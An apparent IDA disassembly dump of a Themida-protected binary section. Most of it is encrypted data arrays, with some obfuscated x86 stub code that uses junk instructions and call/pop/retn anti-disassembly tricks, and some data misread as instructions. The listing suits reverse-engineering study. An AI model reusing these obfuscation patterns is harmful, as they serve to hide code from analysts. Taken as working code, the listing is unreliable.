0FF3462E2h dd 8FB79648h, 3980E5A9h, 668875F9h, 0F30B2838h, 3367820Dh dd 9D83FB95h, 0E5336781h, 864D90Bh, 452156C7h, 336781BFh dd 92F3F0A3h, 0F375475h, 33678129h, 0B1978F79h, 0F1336781h dd 1A000607h, 66336781h, 52748CF4h, 0D6357EE0h, 0F055CA08h dd 190706B0h, 0BFCD7AB9h, 0A1ABEC5Fh, 80DFB399h, 0E31DCF39h dd 7DAEE27Ah, 0FC2E5808h, 0E46FA191h, 0F154CB0Bh, 7B5C03B3h dd 9AFB0A0Eh, 79D95282h, 4B326DAFh, 0C4BE235h, 2094D00Ah dd 4D4989FCh, 1000008h, 0A32156CDh, 46863D6Ch, 1B699E13h dd 0B03067BAh, 5598CF60h, 2A85D788h, 0F6296FFDh, 59D00341h dd 277CDA2Ah, 477FDEF0h, 3980E661h, 6640CD21h, 0EA82FB38h dd 7E0E77ACh, 0C7998C1Dh, 0D36D1A97h, 6C246609h, 0DE354B32h dd 380E244Fh, 98B99625h, 67DB7C62h, 0EE6A0433h, 0DC2AF44Ah dd 585FD21Bh, 70AEAA40h, 336AA122h, 0B7EC1E4Ah, 40BC5E13h dd 4BBDE87h, 8A530000h, 0E179D8D9h, 28C50AF9h, 78AF9FFEh dd 2ED52855h, 8CB2DBBFh, 357F996Ah, 0B096ACCDh, 0F0398168h dd 9170D606h, 52F49E9Eh, 0CB4A24F6h, 50AE0555h, 8EBAA3FCh dd 5DBD638Ah, 8BBF91C6h, 40918F8Eh, 0AD9173EFh, 0E517A277h dd 4140C080h, 24F12AC9h, 499F850h, 920D4F21h, 380EE4ABh dd 68B4E525h, 0E98DF52Ah, 9E610E55h, 3FDB06B5h, 5E000000h dd 7ADBDE8Ah, 3392C35Dh, 281D4FE2h, 2E81878h, 9E336782h dd 5B0179ECh, 691300E3h, 254A91A5h, 97A7A791h, 16h, 4278991Ah dd 3367815Ch, 0D0B5EA28h, 0AC944690h, 18FCCh, 0DE8AC100h dd 4DEC62DBh, 9F4A0BEEh, 93D8233Bh, 500AC7Eh, 2Ah, 0DBDE8AA8h dd 0EE1AEC62h, 2CE04A0Bh, 9A9CD11Ah, 921C00ACh, 3D000000h dd 0E600E61Ch, 0D680ACD3h, 0E5694F77h, 4F39ACD3h, 0DE8A0ECBh dd 0C35D7ADBh, 9391990h, 33678123h, 0A123BE8Ch, 9BCB62B5h dd 2447FFA1h, 74A44CA5h, 738B8A24h, 3368668Dh, 0D1F7B15h dd 0E5AA4453h, 2DF39033h, 9DCFB6EDh, 0B0900F4Fh, 7C313A0Ch dd 3C8740CFh, 39h, 0DBDE8AB1h, 815C447Ah, 0B2D33367h, 6781A68Ch dd 808FA33h, 0ED146012h, 2B88D6A8h, 0A1FA5A32h, 0C99DB5BCh dd 3B13E794h, 402E7B30h, 73D87h, 0D8B00000h, 0D0h, 9ED8D5h dd 0A7790000h, 925F3B76h, 62DBDE8Ah, 37C341ECh, 2F078B66h dd 90718724h, 5B31DCh, 99A40000h, 78D85787h, 32131642h dd 6781260Ch, 95887A33h, 47AC5B1Dh, 0D96D2113h, 603FDD92h dd 315FA7h, 8AD20000h, 447ADBDEh, 3367815Eh, 55CDB022h dd 5E47AC93h, 0A48BB1Bh dd 46F0B095h, 0D04B81DFh, 76C8226Dh, 5BF3A77Bh, 605C5B10h dd 7DDF4h, 0D8500000h, 54h, 0FB3866D5h, 812B0C82h, 0E3B73367h dd 9EA4C54Bh, 336781B8h, 0B9041CC8h, 93D23E6h, 0DF4E81DFh dd 0C05E3A66h, 35E61D92h, 8BDBDE8Ah, 278BFC52h, 0B91F010Fh dd 12E2E266h, 9E33678Dh, 403C327Ah, 0FF4AE487h, 7BA5FFFFh dd 0E29E871Ah, 7ED8EB66h, 0D5000002h, 9AFB3866h, 66DF5482h dd 49275E3Ah, 0D9528609h, 1A7EAEAFh, 0D24E8181h, 9BA3A2A1h dd 3573928Ah, 0ACFF55CBh, 9D8F8BB9h, 91240A30h, 827C397Bh dd 4F6CED50h, 7B915137h, 4B8B5139h, 0A6DEBAD4h, 397B91C4h dd 0EE30068Ah, 91D3B9C1h, 3DAF397Bh, 4E376AAFh, 9DD23612h dd 1F8D543Eh, 3Dh, 0DAD98A92h, 8F7E437Bh, 6A043573h, 8F997BF3h dd 76A7397Bh, 0E0E666B6h, 397B8FFAh, 0DEBAD486h, 92DF243Ah dd 0A8D5420h, 0D0h, 4BB61D03h, 1C79AB06h, 7B8400E6h, 72D68039h dd 0FB3866E7h, 5D251582h, 0A199CF0Ch, 81D34D35h, 365F542Ch dd 134D08FFh, 0AF04522Ah, 3B78A6B6h, 907B9A8Ch, 0CB0B3367h dd 0E05E3F54h, 0F145584Dh, 0ADE3793Fh, 4BE41672h, 66B5CD48h dd 68357194h, 4B2F152Dh, 8173397Eh, 4B987E84h, 7EE8397Eh dd 7DDF41CCh, 0D19B4120h, 0FA00A6F2h, 0A0D7019Ah, 18BFF020h dd 2097B70Ch, 8D5787FEh, 41000004h, 0E361960Dh, 86C67DACh dd 5BA9DE53h, 0F070A7FAh, 95D80FA0h, 6AC51748h, 3669AF3Dh dd 99104381h, 67BC1A6Ah, 73F1E30h, 3980EA21h, 66008D61h dd 0C14EE536h, 0BEA7FA5Fh, 3EB02480h, 74A6EB0Ah, 43C4120Ch dd 0C9A79E11h, 77352883h, 0BF7CABC5h, 81D73866h, 0DB75372Eh dd 57CC0A62h, 0CBB1C9F6h, 0D7336781h, 3A75A725h, 0CE010143h dd 341A2041h, 4C336781h, 0EB84B692h, 0B4556DE8h, 8535739Fh dd 7CE1389Bh, 24D644CCh, 9FE5C941h, 2E84397Bh, 0C7161618h dd 0A3DCEE6Ah, 0FC9DA5A0h, 7D3B87BDh, 4A336EA3h, 5AE03A1Eh dd 8F8FB8F7h, 22915813h, 3F1146F0h, 0E10E0F0Ch, 0F4D4BAC0h dd 32AC3367h, 530C2E56h, 0E29C357Fh, 0C558BD63h, 187FA1AEh dd 64EC9C81h, 80AE805Ch, 56C70839h, 541D21h, 80900000h dd 3367819Eh, 21565502h, 128BC05Ch, 0F19792Bh, 78EE57CAh dd 33678192h, 1A00FE1Fh, 53A7C8A6h, 0B1852929h, 0B3E03D90h dd 0C2CD7CCAh, 4A3881EDh, 67FB4E34h, 76A05233h, 6AC31412h dd 0FB9A7BF3h, 0D5403367h, 0AD95044Bh, 0C3143509h, 689A1746h dd 3566FE3Bh, 0ACEF81E4h, 6D45087Dh, 3667A8D9h, 782C957h dd 392C5ED1h, 0EBA4E909h, 0BFE9E2ADh, 0F40264DBh, 9033688Bh dd 16B2EC41h, 87411956h, 3564AB75h, 0BC301050h, 0FFFFFF73h dd 0F9386631h, 0F4FF87B5h, 5371CC77h, 0D9F0BBEBh, 4B25184Ah dd 59A9940Bh, 0F420308h, 4DF9AB92h, 8682AB4Ch, 7CACDFB1h dd 4B336CA0h, 33681365h, 3411433Dh, 7423FD0Eh, 6AD38D35h dd 7C0412F4h, 0E4359A39h, 72ADEF81h, 0CE03590Bh, 7BDFEA53h dd 1B328EE3h, 0B559D205h, 0EB133F7Eh, 71157DAFh, 71D996DDh dd 6F438D54h, 0D6000000h, 0C5548799h, 50CD0C60h, 7F282226h dd 0CF0F117Ch, 57811E7Ch, 0EE2CB2EEh, 0B49CCCB1h, 2F577495h dd 33678149h, 63E1AD59h, 58D8DEBBh, 551A2A2Eh, 6D357410h dd 4D7592F3h, 397C1067h, 7E649A3Bh, 2397C10h, 23222650h dd 0D8256AB2h, 0D3F2677h, 0A23C6AD3h, 0B14D18E5h, 659DE517h dd 397C6683h, 6A71C549h, 8D54F845h, 0DFF7h, 38667A00h dd 4E829AFBh, 0D24D8FDDh, 0DF314F76h, 40F22B60h, 0DC5383DDh dd 44C71769h, 0C35EB310h, 42FC2E5Ah, 45A073C3h, 0F78C0DA8h dd 8E8A2969h, 91AECDB9h, 1E7C3367h, 33ED5281h, 5BC54DDCh dd 43C1A4FBh, 0C321310h, 3573B4FBh, 0CAA6DD8Fh, 82EC9899h dd 0BBC695F6h, 0ADF60C09h, 0DE3B8527h, 28A389B1h, 0DEFF336Ah dd 6A28C2A8h, 0F22CDE33h, 6BEA8496h, 0A2F32D4Ah, 0F26A160Fh dd 336A290Ch, 8C9F42B6h, 7D8F01CDh, 45028F81h, 60926F4Ch dd 69D606E0h, 285F8924h, 0E02778D8h, 26AB85AAh, 9DC9097Ch dd 71000001h, 1351861Dh, 0B6366DBCh, 4B99CE63h, 0E060970Ah dd 0A5C87FB0h, 5AD50758h, 2679DF2Dh, 892073F1h, 57CC0A5Ah dd 0F70F0E20h, 3980EE11h, 66109D91h, 3E4EE536h, 871443E0h dd 7BDAD98Ah, 1F053D5Ah, 6F336781h, 0F163FD2Ch, 8FAC7191h dd 44363573h, 8F8769E1h, 0C155397Bh, 2149666Dh, 9FF38D54h dd 66000000h, 82FB3866h, 51C80B15h, 4AD4BCECh, 36AC910Ah dd 33678617h, 0BBE84797h, 970C4AD2h, 8896F2AEh, 0F070D54Ah dd 0C1F94447h, 3573AAB0h, 1973A052h, 0A288BE6Eh, 0FE397BA1h dd 4B73D20Ch, 3B85459Fh, 8894F163h, 0B676D748h, 79B6E461h dd 2E2A4404h, 0D6498BD9h, 0ABA371B1h, 9240B526h, 0D8h dd 0ACDB58BAh, 71A6F75Ch, 0D4039EF3h, 0BBE84594h, 3B0EB2Dh dd 10401FD8h, 0B418689Fh, 5BBCCC7Bh, 75795C2h, 0C2437BA8h dd 80EDD6BCh, 0DF42AA39h, 0DA558799h, 3F70A07Eh, 851A7888h dd 38664D6Eh, 0ACEA82FBh, 0A17FC077h, 0F0D6EC6Eh, 0B0336781h dd 91A994C6h, 336781ABh, 0F3D05F7h, 0C8FE5F5Ch, 357EE07Ah dd 60F15406h, 5CC15EBCh, 9CFA242Ch, 921BCA05h, 1B301C5h dd 294A3604h, 570565F4h, 8ECC1CF3h, 0A4E83411h, 856120Bh dd 0B3F154C9h, 0B538AED7h, 45856829h, 0C8A49914h, 42352885h dd 0C6B86D8h, 0E13150E6h, 87D71542h, 0FA5B3528h, 0A4D6498Bh dd 9E1147D9h, 649DE5A7h, 0C8F94DF5h, 6EFE158Ah, 0A492F330h dd 5D2FF37Bh, 3051315Ah, 3E2h, 0BB862F00h, 86FF3466h, 120BA8F6h dd 9D80197Ah, 2B128DC3h, 0B5A80355h, 3F2679DBh, 0C8BDF021h dd 59CC61B4h, 0E459D007h db 0B3h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx push 2431h mov [esp], ebx push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx push edx mov edx, 4EBE5370h shr edx, 7 shl edx, 8 shl edx, 8 dec edx not edx inc edx sub edx, 7D40A059h mov ebx, edx pop edx push 3571h mov [esp], esp add dword ptr [esp], 4 pop ecx sub esp, 4 mov [esp], eax mov eax, 8 add eax, ecx mov [eax], ebx pop eax mov ecx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp mov ebx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_591F29 ; --------------------------------------------------------------------------- db 9Fh, 0FAh, 0C7h ; --------------------------------------------------------------------------- loc_5D4A17: ; CODE XREF: Themida_:loc_5D3AE5j mov eax, 6196DD9h add eax, ebp jmp eax ; --------------------------------------------------------------------------- dd 5C1B62Ch, 51730B36h, 6EABFAE1h, 5DF8C3FFh, 6F238D8Dh dd 8D0F0619h, 4, 5F7BB256h, 2329BD0Bh, 8D890614h, 6142B69h dd 0C7F9DA8Bh, 14105585h, 65C006h, 21B46000h, 3D85C761h dd 61401h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1C042444h, 47000000h, 174C357h, 2C0919A6h, 0FF2CB54Ch dd 140E1DB5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1404h, 0C3514100h, 0E781661Ch, 95FF108Dh, 6140BD9h dd 95FF006Ah, 6142971h, 3EEBC08Bh, 0FF42A668h, 0B64D66D2h dd 7EDC37D7h, 0DEEC218Eh, 1F952C20h, 0C4810095h, 9FBF4DB9h dd 6C2A726Ch, 8E86F04Fh, 0C802F639h, 4B7C7F23h, 7CD906A3h dd 297ED11Dh, 0D1FCAC18h, 0A7DA7B2Fh, 0B0E9D37Ch, 60000000h dd 0F6DA8C66h, 850F04C2h, 0Ch, 0C2D853Bh, 840F0614h, 36h dd 2965853Bh, 840F0614h, 2Ah, 2B25853Bh, 840F0614h, 1Eh dd 0A9853Bh, 840F0614h, 12h, 0DA1BD83h, 0F010614h, 584h dd 5FE900h, 0D08B0000h, 8B3C5203h, 88BAh, 784A8B00h, 840FC985h dd 49h, 0F8C281h, 728B0000h, 8BC8030Ch, 518B1C59h, 8BD80314h dd 0FC9850Bh, 1084h, 0FCE3B00h, 1782h, 0FCF3B00h, 0F83h dd 4C38300h, 0DC850F4Ah, 0E9FFFFFFh, 0Dh, 4DFF9D8Dh, 5B80614h dd 0FF000000h, 0BC361E3h, 0C28D8DD0h, 8B061970h, 14025D85h dd 698D8906h, 6A06142Bh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1A042444h, 43000000h, 0CA4AC353h, 0E6CFB416h dd 28E0F56h, 8B000000h, 5585C7DEh, 0FC061410h, 0E9000057h dd 8, 0E897C061h, 0CF76CA2Ah, 85C7E38Ah, 614013Dh, 0 ; --------------------------------------------------------------------------- push 0 push edi call sub_5D4C23 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D4C23 proc near ; CODE XREF: Themida_:005D4C1Bp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 19h inc edi push edi retn sub_5D4C23 endp ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov al, ds:0B8BBD635h mov ebx, 54D287E1h sub bx, 0F9F1h push dword ptr [ebp+6140D55h] mov [ebp+61418B1h], edx call dword ptr [ebp+6140BD9h] mov edi, eax push 0 call dword ptr [ebp+6142971h] mov eax, eax jmp short loc_5D4CBE ; --------------------------------------------------------------------------- db 4Eh dd 0C547FCDAh, 82FF728Bh, 0CED6CE05h, 8077AC21h, 998FFC62h dd 90989B62h, 8FE5BFB3h, 7C6732E8h, 0A6B36913h, 199B696Bh dd 1B037074h, 0C77FF495h, 700F141Ch, 899DCD94h, 0ECB47DDAh dd 6F69B703h, 2DA69D58h, 8C87FEA9h, 761A8E29h, 58139D9Fh dd 0EA1BA201h, 0B531B021h db 0FFh, 0EFh ; --------------------------------------------------------------------------- loc_5D4CBE: ; CODE XREF: Themida_:005D4C61j lea ecx, [ebp+619720Dh] mov eax, 31B9BD22h mov [ebp+6142B69h], ecx push 0 push esi call sub_5D4CDA and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D4CDA proc near ; CODE XREF: Themida_:005D4CD2p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 18h inc esi push esi retn sub_5D4CDA endp ; --------------------------------------------------------------------------- mov ebp, 0D5FB3A89h jno loc_5D4CF7 mov dh, 8Fh loc_5D4CF7: ; CODE XREF: Themida_:005D4CEFj mov dword ptr [ebp+6141055h], 710Ch push 0 push ecx call sub_5D4D0C and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D4D0C proc near ; CODE XREF: Themida_:005D4D04p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ah inc ecx push ecx retn sub_5D4D0C endp ; --------------------------------------------------------------------------- setalc enter 14B7h, 38h jge short near ptr loc_5D4D7B+2 mov [ebp+6141F29h], edi mov dword ptr [ebp+614013Dh], 0 mov [ebp+6140525h], eax mov ebx, [ebp+6140DC5h] push dword ptr [ebp+61404B1h] push 0 push eax call sub_5D4D50 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D4D50 proc near ; CODE XREF: Themida_:005D4D48p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Bh inc eax push eax retn sub_5D4D50 endp ; --------------------------------------------------------------------------- jnz short near ptr loc_5D4D65+3 dec ebx pop ebp dec edi loc_5D4D65: ; CODE XREF: Themida_:005D4D60j mov ebx, 0BB664D43h dec ecx adc [ebx], ecx mov ebp, 61407FDh call dword ptr [ebp+6140BD9h] push 0 push edi loc_5D4D7B: ; CODE XREF: Themida_:005D4D21j call sub_5D4D83 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D4D83 proc near ; CODE XREF: Themida_:loc_5D4D7Bp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ch inc edi push edi retn sub_5D4D83 endp ; --------------------------------------------------------------------------- inc ecx test [bp+si], eax jnz short loc_5D4DB2 mov esi, 858B5D98h dec ecx or [esi+eax], edx push 0 call dword ptr [ebp+6142971h] mov eax, eax jmp short loc_5D4E2A ; --------------------------------------------------------------------------- db 0CCh db 1Bh db 6Ch, 2Eh ; --------------------------------------------------------------------------- loc_5D4DB2: ; CODE XREF: Themida_:005D4D97j fadd qword ptr [edi+331021CAh] imul edx, [ebx-4E0C446h], 6B09BE18h stosb cmp bl, [esi+4039A0CFh] ; CODE XREF: Themida_:005D4DEBj lodsd test [eax], edx push edi adc ebx, edx dec edi jle short loc_5D4DF1 ; --------------------------------------------------------------------------- dw 0CFC4h ; --------------------------------------------------------------------------- test al, 0D7h dec ecx sbb ecx, ebx loc_5D4DDA: ; CODE XREF: Themida_:005D4DFCj popa sub [edx], bl add [esi+ecx*2+7E9E9B18h], bl fdiv dword ptr ds:9CF0A57Eh push ds jmp short near ptr loc_5D4DC3+1 ; --------------------------------------------------------------------------- db 12h, 38h, 0DBh ; --------------------------------------------------------------------------- inc esi loc_5D4DF1: ; CODE XREF: Themida_:005D4DD0j push 552200E0h or eax, 3E61C90Ah inc ecx jno short loc_5D4DDA push eax iret ; --------------------------------------------------------------------------- retn 709Ch ; --------------------------------------------------------------------------- db 0DBh dd 6B28681Eh, 6CB88BDBh, 0E7CC4CB5h, 0B4C17817h, 0CDDF3750h dd 73029C6h, 0B5D03910h, 0AB969D48h, 0CFCC3466h ; --------------------------------------------------------------------------- mov fs, word ptr [eax] loc_5D4E2A: ; CODE XREF: Themida_:005D4DACj call near ptr loc_5D4E3A+2 out 59h, al and dh, [eax+ebp] ja short loc_5D4E42 out dx, eax adc ah, [eax+7Bh] loc_5D4E3A: ; CODE XREF: Themida_:loc_5D4E2Ap xor eax, 0DA8166BFh and bl, dl pop eax loc_5D4E42: ; CODE XREF: Themida_:005D4E34j jno loc_5D4E4E or [ebp+61422E9h], eax loc_5D4E4E: ; CODE XREF: Themida_:loc_5D4E42j add eax, 6888h sbb dl, 0A4h mov esi, 19F6h jmp loc_5D4E6D ; --------------------------------------------------------------------------- db 70h, 0FCh, 35h ; --------------------------------------------------------------------------- mov dl, [eax-73h] or [edx-3E2BC447h], ch loc_5D4E6D: ; CODE XREF: Themida_:005D4E5Cj ; Themida_:005D4ED2j push dword ptr [eax] mov cx, ax pop ebx sub ebx, 0E1BFD60h push edi pop ecx add ebx, 54466C35h mov cl, 75h xor ebx, 32322E96h push ebx mov edx, [ebp+6140EF5h] pop dword ptr [eax] loc_5D4E92: ; CODE XREF: Themida_:005D4EDEj mov edx, [ebp+6142985h] sub eax, 7E3305D1h mov [ebp+61416CDh], ebx add eax, 7E3305CDh movzx edi, bx sub esi, 1 jnz loc_5D4ECB mov edx, [ebp+6141DF9h] jmp loc_5D4EE3 ; --------------------------------------------------------------------------- dd 0E5690D7Ah ; --------------------------------------------------------------------------- mov [edx+65h], esi loc_5D4ECB: ; CODE XREF: Themida_:005D4EB3j push edx mov edi, 58C4B973h pop ecx jmp loc_5D4E6D ; --------------------------------------------------------------------------- xchg eax, ebp push 92254A69h pop ebp jo short loc_5D4E92 lea esp, [edx-39h] loc_5D4EE3: ; CODE XREF: Themida_:005D4EBFj jmp short loc_5D4F45 ; --------------------------------------------------------------------------- align 4 dd 17h dup(0) db 0 ; --------------------------------------------------------------------------- loc_5D4F45: ; CODE XREF: Themida_:loc_5D4EE3j jmp loc_5D5B10 ; --------------------------------------------------------------------------- jmp loc_5D5B09 ; --------------------------------------------------------------------------- push 6197B9Ch jmp loc_585C7C ; --------------------------------------------------------------------------- push 6197CF3h jmp loc_585C7C ; --------------------------------------------------------------------------- push 6197D63h jmp loc_585C7C ; --------------------------------------------------------------------------- mov dh, 96h sbb edx, [edi] mov [edi+6], dh add ah, [ebp+6Ah] das jmp short loc_5D4FF6 ; --------------------------------------------------------------------------- dw 574Eh dd 783554D3h, 0B51D37B4h, 88171B96h, 61FE027Bh db 65h, 2Ah, 0E6h ; --------------------------------------------------------------------------- loc_5D4F8F: ; CODE XREF: Themida_:005D4FA4j jns short near ptr loc_5D4FD7+1 push esp shl byte ptr [ebp-1E9526BAh], 1 ; --------------------------------------------------------------------------- db 0E9h, 55h, 0E9h ; --------------------------------------------------------------------------- loc_5D4F9B: ; CODE XREF: Themida_:005D4FF9j stosb db 67h push small 33h sbb eax, [edi-58h] wait loop loc_5D4F8F wait or byte ptr [ebp+esi-4Eh], 47h push ds repne mov bh, 87h add ebx, [edi] adc eax, 0CDC0C25Dh mov ebp, 0F410A6A2h mov ecx, 77F66595h push ebp db 26h push ss inc eax add al, 0DAh das mov al, 7Dh db 67h inc ebx mov cl, 1Ah in eax, dx mov al, 98h mov eax, 6E991F2Eh loc_5D4FD7: ; CODE XREF: Themida_:loc_5D4F8Fj xor ebx, [ebx] mov edi, 0B7F0639Bh test bl, al lock push ebx pop ds cmp edx, [edi] rep fild dword ptr [ebp+eax*4+616FF008h] sal dword ptr [esi+49A4D7FBh], 1 in al, dx pop ebp ; --------------------------------------------------------------------------- db 0D8h ; --------------------------------------------------------------------------- loc_5D4FF6: ; CODE XREF: Themida_:005D4F78j lock push ebx setalc jb short loc_5D4F9B add al, 7Bh push eax push ebp and eax, 4474295Ah fmul qword ptr ds:8BE34C7Fh dec esp ; --------------------------------------------------------------------------- db 0D9h dd 0ABA0A449h, 48912838h, 0F1E9A0A0h, 225B6C23h, 3246A6DEh dd 8DA99C19h, 5E2255E9h, 7C2F512Eh, 65677AB8h, 1B88BC36h dd 0ABBE4944h, 5F7B1A1Ah, 1F8CBCA0h, 0F0E4A39Eh, 385C2053h dd 648070FAh, 0B67C5A18h, 94809654h, 2C0088h, 80AC0000h dd 8B5A1864h, 0F0921F2Ah, 3C4B9453h, 8B975D41h, 0CC6667A1h dd 0AAA1C5C0h, 9243FE3Fh, 7CC053F0h, 604A4CB6h, 242Ah dd 64804000h, 0F48B5A18h, 2BAFDFD6h, 0B3BB96F5h, 0E3313AEAh dd 7FD467C0h, 0AD2553F0h, 67A18B27h, 4ABD3766h, 1B618060h dd 65AB47E0h, 0F85C49DCh, 47E053C0h, 55E485F4h, 8C090B0Fh dd 55E485B1h, 387391h, 2E5E4D7Fh, 0D8628956h, 2F2B428Dh dd 8BA8A401h, 0F645E25Dh, 0D55E499h, 0B5F01E09h, 70F30185h dd 18Bh, 146080BCh, 929346E7h, 3C0053F0h, 5A51730Ch, 0DA69B621h dd 0FB53F092h, 3AA9AF8Ch, 0B599ED23h, 6779BB7Fh, 46053665h dd 41CB4944h, 6480A288h, 0B67C5A18h, 24D6F48Bh, 0F7536B22h dd 0D55FBBD3h, 9480F735h, 62E788h, 80CD0000h, 0AFE6E364h dd 0F48BC98Bh, 5457DDD8h, 2C6162F9h, 9244F7E6h, 7BDF53F0h dd 0AD188BF9h, 0F0923100h, 44CEB253h, 206667C2h, 0F092B487h dd 274BCF53h, 9F188BADh, 53F092ACh, 11FEB885h, 9EF20AA3h dd 9D8E78BAh, 30E563C7h, 0CFFE1ADCh, 0E264AED2h, 0AC9F188Bh dd 2753F092h, 1F77D123h, 0FD000000h, 5A186480h, 921F2A8Bh dd 7ADE53F0h, 67A18BF8h, 4C043766h, 0ED9982B2h, 74FE3414h dd 6080604Ah, 7DEACE6h, 0E40873D9h, 167C88D7h, 0F0BABA89h dd 31553953h, 0C867C0E3h, 6353F0BAh, 6F9DEC1Fh, 0B1CEFE34h dd 63181C8Fh, 87B7EE1Ch, 0ABE2E403h, 7BFD3793h, 0AC9F188Bh dd 2753F092h, 83AD123h, 0E6E76695h, 88FB7DB7h, 186480A2h dd 54B67C5Ah, 88948096h, 2900h, 6480AC00h, 87ABE2E3h, 0AD9C1974h dd 2653F092h, 8B6ED022h, 0F0921F2Ah, 22B09453h, 6667A18Bh dd 604ABD37h, 382Ah, 64804000h, 9EAEE5E3h, 0A6CAC5C1h dd 2A8B3082h, 53F0921Fh, 13BA88DEh, 66B8F510h, 688CBE57h dd 8BA18BEAh, 9DD5BCFDh, 65AF757Ch, 0E31895B6h, 1A326B9Ch dd 4AF274BEh, 0D72A60h, 80400000h, 46E71460h, 53F09293h dd 0B1D03147h, 1A315BF1h, 5464E818h, 7E82F90Bh, 366567B4h dd 49444605h, 0D55FD531h, 0F48BA288h, 6E1F20D2h, 0A6D6FA5Eh dd 8DCD022h, 0F7CF67Ch, 0D65C5170h, 8096546Ch, 0B9C08894h dd 621D178Ah, 6Dh, 0E364804Eh, 0CB89ADE8h, 921F2A8Bh, 8CD353F0h dd 8E0A027Bh, 5A187C84h, 0DED7F48Bh, 0FBB6D1AEh, 0C42347C3h dd 58BCCCC9h, 8BC7E9DAh, 4911E0FDh, 0AC66EEBFh, 5A2DCEFFh dd 0FD2DFFEAh, 66AA0106h, 36ED93B0h, 8C4C3069h, 15395DC4h dd 94FB6EE6h, 10494BCAh, 0F48B1802h, 0AE58DAD3h, 272A04h dd 8EF90000h, 0F0921221h, 67AD9153h, 186480FDh, 1F2A8B5Ah dd 0DE53F092h, 0A18BF87Ah, 33C56667h, 0B9C818C2h, 4A7FF519h dd 36656760h, 4E4B4605h, 6C58DA3Eh, 8FBCF713h, 0AFDFCEF0h dd 0D6FAB3D0h, 98E7945Ch, 2EFD3766h, 0C869611Ch, 53F09277h dd 0E6254CABh, 0FA65A9E4h, 0AA1127C8h, 70082B22h, 51CC3F4Ch dd 0F04C65D4h, 539AFE53h, 53F04CE0h, 0A9151F63h, 1C6FC3AFh dd 4C3504A1h, 0CA4E53F0h, 3D4CA348h, 0E47B900Bh, 3B9FAFE6h dd 0B84939F9h, 9C7EBFCCh, 0D249DCBBh, 670BC667h, 848855E4h dd 0E6167A8Eh, 0E467F847h, 0B4271A55h, 0E467D86Bh, 0DECFF055h dd 0CFAC66EAh, 0D7F675A8h, 6AB058DAh, 748BA981h, 39h, 366567A0h dd 9294A706h, 898453F0h, 6163FC0Ch, 414D122Ah, 0DA31DE46h dd 54FF71A2h, 5D414598h, 0B94073Ah, 53F02E38h, 7B6E25BBh dd 58A1815Bh, 0FA11FE34h, 3EC2B9CBh, 0CD6567F4h, 0ACDCC0BBh dd 94A7D534h, 0D906970Bh, 0B074D849h, 304B31D0h, 0E961729h dd 0DCDFA524h, 71E21A3Eh, 0E9A70534h, 96BA9E55h, 0A7093865h dd 868A55E9h, 55C0338Ch, 0E9A779C8h, 616DFA55h, 85F00226h dd 4FC550E9h, 7E0D3E02h, 0A2265653h, 74E75450h, 0DDDE182Bh dd 7DB79B5Fh, 0DDDECD70h, 0C9202F5Fh, 852A1E56h, 37B2EC99h dd 77CF1DFDh, 26EF91C2h, 0C5000000h, 0DDD8F48Bh, 0FB8F5F57h dd 92C467C0h, 1B7F53F0h, 9D1A75E0h, 53F092AEh, 3CD32125h dd 5A909411h, 25h, 146080D0h, 929746E7h, 381C53F0h, 534A7C03h dd 41642D3Bh, 0E08839F5h, 1A7536FCh, 0C64C4743h, 7F83FE09h dd 18E2AB5h, 80400000h, 0A0BCE86Eh, 960B3D17h, 436B5348h dd 45769A0Fh, 0F0C469D8h, 4266EA53h, 0E251DE49h, 6153F0C4h dd 8DEC0B1Dh, 1DC44AC9h, 0A2882D17h, 0BC366567h, 9654B67Ch dd 889480h, 3Ah, 0E86E80ACh, 0EEEBC0C8h, 0E5E23D2Eh, 47784A8h dd 0F095A89Bh, 0ED272B53h, 1F2A8B6Bh, 9453F092h, 0A18B22B0h dd 0A3316C67h, 21D3F48Bh, 34446823h, 0EA042D0h, 432Ah dd 6E804000h, 2A8B581Ah, 53F0921Fh, 0D8081DEh, 0F48B6BE9h dd 0DD6CC9D7h, 5653F092h, 5ABECEF2h, 8BC5EFD8h, 3100AD18h dd 0B253F092h, 92BC8FCEh, 533753F0h, 82FF0AC1h, 1E42FB89h dd 269987EBh, 604A6AECh, 0BC366567h, 25D7F48Bh, 0CF456924h dd 648035FFh, 0F48B5A18h, 9858DAD3h, 0D7F48B5Ah, 5E6E2925h dd 0BC5CD6FAh, 8894807Eh, 5578h, 6480B400h, 4D95E318h dd 9F911EACh, 8BCA4CC6h, 0F0921F2Ah, 22B09453h, 0FD8BA18Bh dd 1E277372h, 984B37AFh, 903A849Ah, 0C9FA9163h, 0ACD8A7D4h dd 0B77DD9F1h, 8B604A4Dh, 0A0DBD2F4h, 0F0923407h, 49CB4F53h dd 37DFh, 709DEC00h, 0C9C1BCCEh, 0B511294Dh, 6480F57Fh dd 2A8B5A18h, 53F0921Fh, 8BF87ADEh, 0D7F48BA1h, 868754DEh dd 0D94A5D17h, 0A33A18Bh, 0DE3DABAh, 4637CC62h, 0AD979D94h dd 18306B67h, 4CFF38ABh, 0C753F092h, 7AC4B143h, 7E53F092h dd 7D89B8DFh, 48D7CAF9h, 0DF234736h, 0F4AFDDACh, 48B240C4h dd 